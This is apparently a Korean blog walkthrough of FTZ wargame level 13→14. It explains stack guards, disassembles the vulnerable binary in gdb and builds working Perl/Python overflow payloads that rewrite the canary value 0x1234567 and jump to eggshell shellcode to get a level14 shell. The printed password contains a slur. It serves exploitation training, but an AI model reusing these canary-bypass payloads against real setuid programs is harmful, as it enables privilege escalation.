■ Level13 -> Level14
■ 목적
스택 가드(Stack Guard)에 대해서
스택 가드(스택 쉘드)
버퍼 오버플로우는 정확하게 말하면 애플리케이션 개발자의 실수이다. 이런한 취약점을 보안하기 위해 나온 아이디어가 스택가드(Stack Guard)이다. 스택 가드에 저장돼 있는 값이 바뀌었다는 것은 버퍼 오버플로우 공격이 일어났다는 것을 의미하고, 스택가드의 변경이 확인되면 프로세스 실행을 차단해서 공격을 방어 할 수 있다.
[메모리 구조]
-----------------------------------------------
256bytes 4bytes 4bytes 4bytes
char str[256] stack guard SFP RET
AAAA...AAAA AAAA AAAA (새로운주소)
-----------------------------------------------
스택가드의 크기는 보통 4byte or 8byte 정도이다.
단점: 스택가드의 주소값을 알면 같은 값을 써서 변경하지 않고 오버플로우를 할 수 있다.
■ Level14 풀이
level14 사용자 로그인
-> ID/PASS : level14/have no clue
$ cat hint
#include <stdlib.h>
main(int argc, char *argv[]() {
long i=0x1234567;
char buf[1024];
setreuid( 3094, 3094 );
if(argc > 1 )
strcpy(buf ,argv[1]);
if(i !=0x1234567) {
printf(" Warnning: Buffer Overflow !!! \n");
kill(0,11);
}
}
버퍼 오버플로우 취약점은 존재하나 i의 값이 0x1234567 이 아니면 종료된다.
이것이 스택가드이다. 저 조건을 만족하면서 우회할 수 있는 공격을 하는게 목적이다.
-> # man 2 kill
-> # man 7 signal
attackme 프로그램을 디스어셈블러로 구조를 살펴본다.
$ cp attackme tmp ; cd tmp
$ gdb -q attackme
(gdb) disas main
Dump of assembler code for function main:
0x080484a0 <main+0>: push %ebp
0x080484a1 <main+1>: mov %esp,%ebp
0x080484a3 <main+3>: sub $0x418,%esp /* 0x418 = (10진수) 1048 바이트 */
0x080484a9 <main+9>: movl $0x1234567,0xfffffff4(%ebp) dummy = 20(지역변수2개)
0x080484b0 <main+16>: sub $0x8,%esp
0x080484b3 <main+19>: push $0xc16
0x080484b8 <main+24>: push $0xc16
0x080484bd <main+29>: call 0x8048370 <setreuid>
0x080484c2 <main+34>: add $0x10,%esp
0x080484c5 <main+37>: cmpl $0x1,0x8(%ebp)
0x080484c9 <main+41>: jle 0x80484e5 <main+69>
0x080484cb <main+43>: sub $0x8,%esp
0x080484ce <main+46>: mov 0xc(%ebp),%eax
0x080484d1 <main+49>: add $0x4,%eax
0x080484d4 <main+52>: pushl (%eax)
0x080484d6 <main+54>: lea 0xfffffbe8(%ebp),%eax
0x080484dc <main+60>: push %eax
0x080484dd <main+61>: call 0x8048390 <strcpy>
0x080484e2 <main+66>: add $0x10,%esp
0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp) se nonu : 12 (if문)
0x080484ec <main+76>: je 0x804850d <main+109>
0x080484ee <main+78>: sub $0xc,%esp
0x080484f1 <main+81>: push $0x80485a0
0x080484f6 <main+86>: call 0x8048360 <printf>
0x080484fb <main+91>: add $0x10,%esp
0x080484fe <main+94>: sub $0x8,%esp
0x08048501 <main+97>: push $0xb
0x08048503 <main+99>: push $0x0
0x08048505 <main+101>: call 0x8048380 <kill>
0x0804850a <main+106>: add $0x10,%esp
---Type <return> to continue, or q <return> to quit---
0x0804850d <main+109>: leave
0x0804850e <main+110>: ret
0x0804850f <main+111>: nop
End of assembler dump.
main + 69 에서 스택가드와 비교를 하고 아닐경우 종료를 한다.
------------------------------------------------------------
1024 24 4 4
char str[1024] ??? SFP RET
------------------------------------------------------------
총 1056byte인 구조로 생각 할 수 있다.(0x418 = 1048 byte + SFP + RET)
그리고 main + 9 가 스택가드이며 (4byte) 더미는 20byte가 된다.
fffffff4 = 1100 = 12byte => ebp -12거리에 가드스택 위치
Breakpoint 1 at 0x80484e5
(gdb) run AAAAAAAA
(gdb) x/264x $esp
0xbffff3c0: 0x41414141 0x41414141 0x00000000 0x00000000
0xbffff3d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff3f0: 0x00000000 0x00000000 0x400126d0 0x400126c8
0xbffff400: 0x400126ca 0x4001552c 0x98265745 0x0002ea46
0xbffff410: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff420: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff430: 0x00000000 0x00000000 0x00000000 0x40016558
0xbffff440: 0x00000040 0x00000080 0x00000010 0x08048204
0xbffff450: 0x08048164 0x00000000 0x40015a38 0x40015360
0xbffff460: 0x00000000 0x00000000 0x0804968c 0x40015a38
0xbffff470: 0x00000000 0x400169e0 0x980d61f4 0x0002ea46
0xbffff480: 0x00000000 0x01000000 0x00000000 0x00000000
0xbffff490: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff4a0: 0x00000001 0x00000000 0x00000000 0x00000000
0xbffff4b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff4c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff4d0: 0x00000006 0x400169e0 0x000fffff 0x00000051
0xbffff4e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff4f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff500: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff510: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff520: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff530: 0x00000000 0x00000000 0x00000000 0x4000fbce
0xbffff540: 0x00000000 0x00000000 0x40001001 0x4001582c
0xbffff550: 0x40015a34 0x00020414 0xbffff788 0x4000eeaf
0xbffff560: 0x08048034 0x00000006 0xbffff59c 0x00000000
0xbffff570: 0x00000000 0x00000000 0x00000000 0x2d000000
0xbffff580: 0x00000003 0xbffff622 0x0003fbf9 0x00000000
0xbffff590: 0x00000000 0x00000006 0x08048034 0x080483a0
0xbffff5a0: 0x756e694c 0x00000078 0x00000000 0x00000000
0xbffff5b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff5e0: 0x7a746600 0x6361682e 0x7372656b 0x6f6f6863
0xbffff5f0: 0x726f2e6c 0x00000067 0x00000000 0x00000000
0xbffff600: 0x4000914d 0x40009401 0x08048205 0x40015c68
0xbffff610: 0x400093bb 0x4001582c 0x40015a38 0x00000000
0xbffff620: 0xbffff660 0x4000914d 0x42010c7f 0x08048289
0xbffff630: 0x4001582c 0x4001624c 0x00000020 0x42010d36
0xbffff640: 0x4200bc84 0x42003394 0x400160b0 0x00000003
0xbffff650: 0x40016350 0x4001582c 0x40015bd4 0x08048264
0xbffff660: 0xbffff740 0x40008156 0x08048264 0x078e530f
0xbffff670: 0x08048174 0xbffff6f0 0x40015b88 0x00000001
0xbffff680: 0x40016380 0x00000000 0x00000001 0x42010d36
0xbffff690: 0x4200bc84 0x42003394 0x400160b0 0x00000003
0xbffff6a0: 0x40016350 0x4001582c 0x40015bd4 0x08048252
0xbffff6b0: 0xbffff790 0x40008156 0x08048252 0x0177ff8e
0xbffff6c0: 0x08048194 0xbffff740 0xbffff6f0 0x00000001
0xbffff6d0: 0x40016380 0x00000000 0x00000000 0x078e530f
0xbffff6e0: 0xbffff780 0x40015a38 0x0029656e 0x00000000
0xbffff6f0: 0x4200b894 0x400160b0 0x00000000 0x00000000
0xbffff700: 0x00000000 0x00000000 0x00000000 0x4000807f
0xbffff710: 0x4001582c 0x00001f1f 0xbffff740 0xbffff76c
0xbffff720: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e
0xbffff730: 0x4000807f 0x4001582c 0x00000060 0x40015a38
0xbffff740: 0xbffff790 0x4000be03 0x40015bd4 0x40016380
0xbffff750: 0x00000001 0x00000000 0x4200dba3 0x420069e4
0xbffff760: 0x42130a14 0xbffffc1d 0xbffff824 0xbffff7a4
0xbffff770: 0x4000bcc0 0x080496d8 0x00000001 0x08048264
0xbffff780: 0x4210fd3c 0x42130a14 0xbffff7a8 0x4210fdf6
0xbffff790: 0x080495f0 0x080496f8 0x00000000 0x00000000
0xbffff7a0: 0x4210fdc0 0x42130a14 0xbffff7c8 0x08048481
0xbffff7b0: 0x080495f0 0x080496f8 0x4001582c 0x080483ce
0xbffff7c0: 0x08048308 0x42130a14 0xbffff7d8 0x01234567 <--스택가드
0xbffff7d0: 0x4200af84 0x42130a14 0xbffff7f8 0x42015574
(gdb) cont
Continuing.
(gdb) r $(perl -e 'print "A"x1048')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/level13/tmp/attackme $(perl -e 'print "A"x1048')
Breakpoint 1, 0x080484e5 in main ()
(gdb) x/264x $esp (1056byte)
0xbfffe830: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe840: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe850: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe860: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe870: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe880: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffe890: 0x41414141 0x41414141 0x41414141 0x41414141
..... (중략) ......
0xbfffebc0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebd0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebe0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffebf0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffec00: 0x41414141 0x41414141 0x41414141 0x41414141
---Type <return> to continue, or q <return> to quit---
0xbfffec10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffec20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffec30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffec40: 0x41414141 0x41414141 0xbfffec00 0x42015574
(gdb) continue
Continuing.
Warnning: Buffer Overflow !!!
Program received signal SIGSEGV, Segmentation fault.
0xffffe002 in ?? ()
(gdb) quit
ebp 에서 12byte만큼 거리에 가드스택이 존재한다.
------------------------------------------------------------
1024 12 4 8 4 4
char str[1024] dummy stack guard dummy SFP RET
0x1234567
------------------------------------------------------------
<--낮은주소 높은주소-->
+ +
+------------------------------------------------+
1048 byte
1048 bytes = 1024 + 12 + 4 + 8
1036byte + 0x1234567 + 12byte + 주소
더미(1036) + 0x1234567 + SFP + eggshell 주소
$ ./attackme `python -c 'print "c"*1036+"\x67\x45\x23\x01"+"C"*12+"\xb8\xfa\xff\xbf"'`
or
$ (python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xb8\xf5\xff\xbf"'; cat) | ./attackme
$ cd ; /home/level12/tmp/egg 300
Using address: 0xbffffab8
sh-2.05b$ ./attackme $(perl -e 'print "A"x1035') <-- 스택가드의 위치 1035byte
sh-2.05b$ ./attackme $(perl -e 'print "A"x1036')
Warnning: Buffer Overflow !!! 세그멘테이션 오류 |
sh-2.05b$ ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01"')
sh-2.05b$ ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01","\xb8\xfa\xff\xbf"x20')
sh-2.05b$ id
uid=3094(level14) gid=3093(level13) groups=3093(level13)
sh-2.05b$ my-pass
TERM environment variable not set.
Level14 Password is "what that nigga want?".
sh-2.05b$ exit
exit
sh-2.05b$ exit
exit
■ 쉘코드 작성
int main () {
printf("%x", getenv("SC"));
return 0;
}
$ gcc -o locate locate.c
$ ./locate
'Learning > └◆Reversing' 카테고리의 다른 글
15_Level15 -> Level16[FTZ] 루틴 분기 키값의 이해 2 (0) | 2017.01.30 |
---|---|
14_Level14 -> Level15[FTZ] 루틴 분기 키값의 이해 (0) | 2017.01.30 |
12_Level12 -> Level13[FTZ] gets함수의 취약점(Stack Buffer Overflow) (0) | 2017.01.30 |
[참고] Format String 공격시 (0) | 2017.01.30 |